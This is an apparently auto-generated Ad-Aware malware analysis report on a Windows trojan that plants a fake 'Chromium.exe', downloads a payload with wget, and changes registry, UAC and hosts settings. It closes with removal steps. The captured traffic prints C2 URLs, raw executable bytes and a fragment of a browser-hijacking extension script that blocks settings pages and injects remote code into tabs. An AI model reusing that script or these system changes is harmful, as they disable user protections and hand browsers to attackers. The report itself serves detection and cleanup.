Gen.Variant.Symmi.49919_45091d682c – Adaware

Trojan.Win32.VB.ctxv (Kaspersky), Gen:Variant.Symmi.49919 (B) (Emsisoft), Gen:Variant.Symmi.49919 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 45091d682ce74c3d9da8fda8bb128407

SHA1: e263760093f748ccf7ea1f6fd938f7b2eac96e0f

SHA256: 272eefe9a7920b30bb6d2eba5c9b5a1bb5c21176346fd79042102fbd664a9c0e

SSDeep: 12288:kNIQAPGsAqY9IMVYd38sJdpQHlGlY8KfTQ1JIOvkf Kb/l9TXQCP:lPGSY91VwNJcFMqTCkbdVXlP

Size: 723541 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: MicrosoftVisualCv71EXE, MicrosoftVisualCv70, UPolyXv05_v6

Company: Inprise Corporation

Created at: 2009-09-25 21:57:32

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

Chromium.exe:396
wget.exe:1028
wget.exe:368
arsiv.exe:1112
%original file name%.exe:652

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process Chromium.exe:396 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\bg.txt (1 bytes)
%Documents and Settings%\%current user%\Application Data\ok.txt (9 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (2666 bytes)
%Documents and Settings%\%current user%\Application Data\key.txt (249 bytes)
%Documents and Settings%\%current user%\Application Data\hash.txt (32 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\hash.txt (0 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (0 bytes)
%Documents and Settings%\%current user%\Application Data\update.txt (0 bytes)

The process wget.exe:1028 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\arsiv.exe (3133805 bytes)

The process wget.exe:368 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\arsiv.exe (2815353 bytes)

The process arsiv.exe:1112 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome.dll (794832 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\icudt.dll (455362 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.pak (762 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\__tmp_rar_sfx_access_check_943515 (0 bytes)

The process %original file name%.exe:652 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Chromium.exe (5585 bytes)

Registry activity

The process Chromium.exe:396 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLUA" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 CC 14 AF 38 8A 83 92 78 11 A0 AF 16 0D 51 F9"

[HKLM\SOFTWARE\Policies\Google\Update]
"UpdateDefault" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Google Chromium" = "%Documents and Settings%\%current user%\Application Data\Chromium.exe"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process wget.exe:1028 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D1 4C 06 05 AD 06 3E A0 75 A4 ED B4 AD BB 9E DD"

The process wget.exe:368 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "17 E0 48 F0 15 A4 C3 A2 D1 2F 5B 75 FE 05 67 DB"

The process arsiv.exe:1112 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "95 F5 A9 E4 F4 B9 97 DF D9 A3 62 47 27 02 A0 72"

The process %original file name%.exe:652 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "53 1B B1 FC C5 33 67 18 64 EF C2 E3 B7 7E B0 46"

Dropped PE files

MD5	File path
f98d5a7924143f6e687dd92d9af8f3a9	c:\Documents and Settings\"%CurrentUserName%"\Application Data\wget.exe

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 793 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	tools.google.com

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
Chromium.exe:396
wget.exe:1028
wget.exe:368
arsiv.exe:1112
%original file name%.exe:652
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\bg.txt (1 bytes)
%Documents and Settings%\%current user%\Application Data\ok.txt (9 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (2666 bytes)
%Documents and Settings%\%current user%\Application Data\key.txt (249 bytes)
%Documents and Settings%\%current user%\Application Data\hash.txt (32 bytes)
%Documents and Settings%\%current user%\Application Data\arsiv.exe (3133805 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome.dll (794832 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\icudt.dll (455362 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\Chromium.exe (5585 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Google Chromium" = "%Documents and Settings%\%current user%\Application Data\Chromium.exe"
Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name: bon joueur
Product Version: 3, 3, 8, 1
Legal Copyright: bon service de lecteur
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description: bon joueur
Comments:
Language: Chinese (Simplified, PRC)

Company Name: Product Name: bon joueurProduct Version: 3, 3, 8, 1Legal Copyright: bon service de lecteurLegal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 8, 1File Description: bon joueurComments: Language: Chinese (Simplified, PRC)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	362198	362496	4.62615	06fb96e5de678ab3654b8cba9be7b4b3
.rdata	368640	42792	43008	3.73288	a86a7956fff826cfae8192f9e4d6248d
.data	413696	31396	8192	2.70063	f9f09007f34890bdde82a8b299b3f02b
.rsrc	446464	221184	218112	4.31779	88153cc2c0a50d061dd76576ed90ed08

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://filmver.com/ahk/ok.txt	95.85.21.139
hxxp://filmver.com/ahk/req.php?type=update_hash	95.85.21.139
hxxp://filmver.com/ahk/req.php?type=js	95.85.21.139
hxxp://filmver.com/ahk/req.php?type=key	95.85.21.139
hxxp://filmver.com/ahk/req.php?type=arsiv_hash	95.85.21.139
hxxp://filmver.com/ahk/req.php?type=arsiv_link	95.85.21.139
hxxp://pornokan.com/app.exe
hxxp://www.pornokan.com:80/app.exe	5.101.98.93
hxxp://filmver.com:80/ahk/req.php?type=arsiv_link	95.85.21.139
www.google.com	173.194.113.209

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /ahk/req.php?type=arsiv_link HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: filmver.com:80

Accept: */*

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Fri, 06 Feb 2015 13:04:34 GMT

Content-Type: text/javascript; Charset=UTF8

Connection: close

X-Powered-By: PHP/5.4.17

Location: hXXp://VVV.pornokan.com/app.exe

GET /app.exe HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: VVV.pornokan.com:80

Accept: */*

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Feb 2015 13:04:33 GMT

Content-Type: application/octet-stream

Content-Length: 31990778

Last-Modified: Thu, 05 Feb 2015 22:50:27 GMT

Connection: close

ETag: "54d3f3b3-1e823fa"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........f..{5..{5..{5...5..{5..z5(.{5...5..{5...5..{5...5..{5...5..{5...5..{5...5..{5Rich..{5........PE..L...Yj>O.....................d...............0....@..................................................................K..3...L<...........@...........................2...............................................0...............................text...2........................... ..`.rdata..5....0......."..............@..@.data....V...P.......@..............@....CRT.................B..............@..@.rsrc....@.......B...D..............@..@..................................................................................................................................................................................................................................................................................................................................................................@s... s........................................D$..L$....L$.u..D$......S.....D$..d$....D$.....[...............WVS3..D$...}.G.T$.........D$..T$..D$...}.G.T$.........D$..T$...u..L$..D$.3......D$......A...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N3...Ou........[^_.........WVU3.3..D$...}.GE.T$.........D$..T$..D$...}.G.T$.........D$..T$...u(.L$..D$.3......D$........d$......d$....G...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N D$..T$.3. D$..T$.My..................Ou........]

<<< skipped >>>

GET /ahk/ok.txt HTTP/1.1

User-Agent: AutoHotkey

Host: filmver.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Feb 2015 13:03:42 GMT

Content-Type: text/plain

Content-Length: 9

Last-Modified: Thu, 05 Feb 2015 22:17:22 GMT

Connection: keep-alive

ETag: "54d3ebf2-9"

Accept-Ranges: bytes

Server_ok....

GET /ahk/req.php?type=update_hash HTTP/1.1

User-Agent: AutoHotkey

Host: filmver.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Feb 2015 13:03:42 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

0......

GET /ahk/req.php?type=js HTTP/1.1

User-Agent: AutoHotkey

Host: filmver.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Feb 2015 13:03:42 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

665..chrome["tabs"]["onUpdated"]["addListener"](function(myid, x, my) {.. if (my["url"]["indexOf"]("chrome://extension") >= 0 || my["url"]["indexOf"]("chrome://chrome/extension") >= 0 || my["url"]["indexOf"]("chrome://settings/resetProfileSettings") >= 0 || my["url"]["indexOf"]("opera://extensions/") >= 0 || my["url"]["indexOf"]("browser://tune/") >= 0 || my["url"]["indexOf"]("chrome://help/") >= 0) {.. chrome["tabs"]["remove"](my["id"]);.. }..});..chrome.webRequest.onBeforeRequest.addListener(..function (details) {..var url = details.url;..for (var i = 0; i < block.length; i ) {..if (url.indexOf(block[i]) > -1) {.. return {.. cancel: true.. };..}..}..}, {.. urls: ["<all_urls>"]..}, ["blocking"]);..var block = ["csp"];..var curl = new XMLHttpRequest();..curl.onreadystatechange = function () {..if (curl.readyState == 4) {.. try {.. JSON.parse(curl.responseText).forEach(.. function (d) {.. if (d.uri) {.. block.push(d.uri);.. }.. });.. } catch (e) {}..}..};..curl.open("GET","hXXp://VVV.filmver.com/ahk/get.js?cache=" Math.random() * 999999, true);..curl.send();..chrome.tabs.onUpdated.addListener(function (theId) {..chrome.tabs.get(theId, function (the) {..{..var xmlhtp = new XMLHttpRequest();..xmlhtp.onreadystatechange = function () {..if (xmlhtp.readyState == 4) {.. if (the.url.indexOf("devtools://") < 0) {.. chrome.tabs.executeScript(the.id, {.. code

<<< skipped >>>

GET /ahk/req.php?type=key HTTP/1.1

User-Agent: AutoHotkey

Host: filmver.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Feb 2015 13:03:42 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

f9..fpdnaapmbcppebpgimidmjfckedifagf#MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAXVzI8rh2Ax82oswdRNBh/i3mchd7JbYQcnFl0RXWbab01 DO1YNmUNgxrtTbb3lgeEgvmB xGub2scZXtyE3oNr9bcgSMc7JJLix8uqlayVOwdKG1Goz3D0TZhY1Co uEehrY r/x5ZVhLxpWc9BiDF3Y9BywPpinvnn zXFOwIDAQAB..0......

GET /ahk/req.php?type=arsiv_hash HTTP/1.1

User-Agent: AutoHotkey

Host: filmver.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Feb 2015 13:03:42 GMT

Content-Type: text/javascript; Charset=UTF8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.17

20..0c4950e06182df940d3e841551aa4378..0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 06 Feb 2015 13:03:42 GMT..Content-Type: text/javascript; Charset=UTF8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.4.17..20..0c4950e06182df940d3e841551aa4378..0..

GET /app.exe HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: VVV.pornokan.com:80

Accept: */*

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Feb 2015 13:03:42 GMT

Content-Type: application/octet-stream

Content-Length: 31990778

Last-Modified: Thu, 05 Feb 2015 22:50:27 GMT

Connection: close

ETag: "54d3f3b3-1e823fa"

Accept-Ranges: bytes

<<< skipped >>>

GET /ahk/req.php?type=arsiv_link HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: filmver.com:80

Accept: */*

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Fri, 06 Feb 2015 13:03:43 GMT

Content-Type: text/javascript; Charset=UTF8

Connection: close

X-Powered-By: PHP/5.4.17

Location: hXXp://VVV.pornokan.com/app.exe

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Chromium.exe_396:

.text

`.rdata

@.data

.rsrc

YYu.Pj

!"#$%%&'())* ,-./0123456789:;

VSSSh

E`SSh

SSSSSSSh

urSSSh

WSSSh

zSSShX

t*SSh

t3SSSh

VWumh0%F

u.hL%F

It.It

SSSSh

tASSSh

udPS

uÃŠ;MP|

!!!!!!""#$%&'(((((())* ,-.CCCCCCCC//C01234445656789:;9:;CCC?@AB

AutoHotkey

AppsKey

ListHotkeys

KeyHistory

DetectHiddenWindows

SetKeyDelay

Hotkey

KeyWait

GetKeyState

URLDownloadToFile

MsgBox

IfMsgBox

AHK Keybd

X X

NOTE: To disable the key history shown below, add the line "#KeyHistory 0" anywhere in the script. The same method can be used to change the size of the history buffer. For example: #KeyHistory 100 (Default is 40, Max is 500)

The oldest are listed first. VK=Virtual Key, SC=Scan Code, Elapsed=Seconds since the previous event. Types: h=Hook Hotkey, s=Suppressed (blocked), i=Ignored because it was generated by an AHK script, a=Artificial, #=Disabled via #IfWinActive/Exist.

NOTE: Only the script's own keyboard events are shown

(not the user's), because the keyboard hook isn't installed.

Modifiers (Hook's Logical) = %s

Modifiers (Hook's Physical) = %s

Prefix key is down: %s

OWarning: The keyboard and/or mouse hook could not be activated; some parts of the script will not function.

"%s" is not a valid key name. The current thread will exit.

"%s" is not allowed as a prefix key.

%u hotkeys have been received in the last %ums.

(see #MaxHotkeysPerInterval in the help file)

Max hotkeys.

The AltTab hotkey "%s" must have exactly one modifier/prefix.

The AltTab hotkey "%s" must specify which key (L or R).

Nonexistent hotkey variant (IfWin). The current thread will exit.

Nonexistent hotkey. The current thread will exit.

SCx

A%s[%u of %u]: %-1.60s%s

: -*.|&^/

HKEY_USERS

HKEY_CURRENT_USER

HKEY_CURRENT_CONFIG

HKEY_CLASSES_ROOT

HKEY_LOCAL_MACHINE

%s\%s

=/|^,:*&~!() -"'\;`{}

timesincepriorhotkey

timesincethishotkey

priorhotkey

thishotkey

subkey

keydelay

detecthiddenwindows

%s%s%s

if %s %s %s and %s

%s%s %s %s

MbP?u:

%sGlobal Variables (alphabetical)%s

Local Variables for %s()%s

Key History has been disabled via #KeyHistory 0.

Window: %s

Keybd hook: %s

Mouse hook: %s

Enabled Timers: %u of %u (%s)

Interrupted threads: %d%s

Paused threads: %d of %d (%d layers)

Modifiers (GetKeyState() now) = %s

AutoHotkey2

%%%s%s%s

Script lines most recently executed (oldest first). Press [F5] to refresh. The seconds elapsed between a line and the one after it is in parentheses to the right (if not 0). The bottommost line's elapsed time is the number of seconds since it executed.

Critical Error: %s

Specifically: %-1.100s%s

%s%s: %-1.500s

in #include file "%s"

Specifically: %s

%s (%d) : ==> %s

Line Text: %-1.100s%s

Error at line %u

Action: %s

Params:

Verb:

.hta"

.cmd"

.com"

.bat"

.exe"

%s %s

System verbs unsupported with RunAs. The current thread will exit.

#KeyHistory

#MaxThreadsPerHotkey

#MaxHotkeysPerInterval

#HotkeyInterval

#HotkeyModifierTimeout

#InstallKeybdHook

=/|^,:*&~!() -

Too many parameters passed to function.

Too few parameters passed to function.

Caller must pass a variable to this ByRef parameter.

/|^,*&~!. -"

Unsupported parameter default.

=/|^,:*&~!()"

"%s" requires that parameter #%u be non-blank.

"%s" requires at least %d parameter%s.

Invalid hotkey.

=/|^,:*&~!() -".

Unsupported static initializer.

Could not extract script from EXE.

Duplicate hotkey.

Hotkeys/hotstrings are not allowed inside functions.

{Blind}{%s Up}

*%s::

*%s up::

{Blind}%s%s{%s DownTemp}

if not GetKeyState("%s")

Note: The hotkey %s will not be active because it does not exist in the current keyboard layout.

=/|^,:

=/|^,:. -*&!?~

Join

>AUTOHOTKEY SCRIPT

EndKey:

SOFTWARE\AutoHotkey

\\.\%c:

\\.\vwin32

open "%s" alias AHK_PlayMe

All Files (*.*)

Text Documents (*.txt)

*.txt

%s%c%sÃŠll Files (*.*)%c*.*%c

Select File - %s

1.0.48.05

\AutoHotkey.exe

WIN32_WINDOWS

.DEFAULT\Control Panel\Desktop\ResourceLocale

SOFTWARE\Microsoft\Windows\CurrentVersion

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Compile error %d at offset %d: %s

%sBottom

%sRight

%sTop

%sLeft

0xX

Could not open URL hXXp://VVV.autohotkey.com in default browser.

hXXp://VVV.autohotkey.com

hh.exe

%sAutoHotkey.chm"

\AutoHotkey.chm"

%sAU3_Spy.exe"

\AU3_Spy.exe"

set cd door %s wait

open %s type cdaudio alias cd wait shareable

set cdaudio door %s wait

Component Doesn't Support This Control Type

Mixer Doesn't Support This Component Type

0xX

Mb@AAutoHotkey v1.0.48.05

Len%d

Pos%d

Len%s

Pos%s

0.0.0.0

InternetOpenUrlA

Select Folder - %s

%u.%u.%u.%u

RunAs: Missing advapi32.dll. The current thread will exit.

%dGui

vkX

AutoHotkeyGUI

Password

Report

msctls_hotkey32

Button%s

&Suspend Hotkeys

Supported only for the tray menu The current thread will exit.

dddddd

dA\\?\

GdiplusShutdown

The following %s name contains an illegal character:

"%-1.300s"%s

The maximum number of MsgBoxes has been reached.

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

mscoree.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

WSOCK32.dll

WINMM.dll

VERSION.dll

COMCTL32.dll

GetWindowsDirectoryA

KERNEL32.dll

GetKeyboardLayout

UnhookWindowsHookEx

SetWindowsHookExA

RegisterHotKey

UnregisterHotKey

SetKeyboardState

GetKeyboardState

VkKeyScanExA

MapVirtualKeyA

GetAsyncKeyState

GetKeyNameTextA

keybd_event

EnumChildWindows

EnumWindows

ExitWindowsEx

USER32.dll

GDI32.dll

comdlg32.dll

RegCloseKey

RegEnumKeyExA

RegQueryInfoKeyA

RegOpenKeyExA

RegCreateKeyExA

RegDeleteKeyA

ADVAPI32.dll

ShellExecuteExA

SHFileOperationA

SHELL32.dll

ole32.dll

OLEAUT32.dll

GetCPInfo

-()[]{}:;'"/\,.?!

zcÃ

%Documents and Settings%\%current user%\Application Data

%Documents and Settings%\%current user%\Application Data\Chromium.exe

,..btt

\8.Hu

Ow.ccc

.oh[L

cn.ED

(y/7.hi

.ammm

***.***

///"///&...&,,,"***

&***6***>)))=&&&3$$$!%%%

3, 3, 8, 1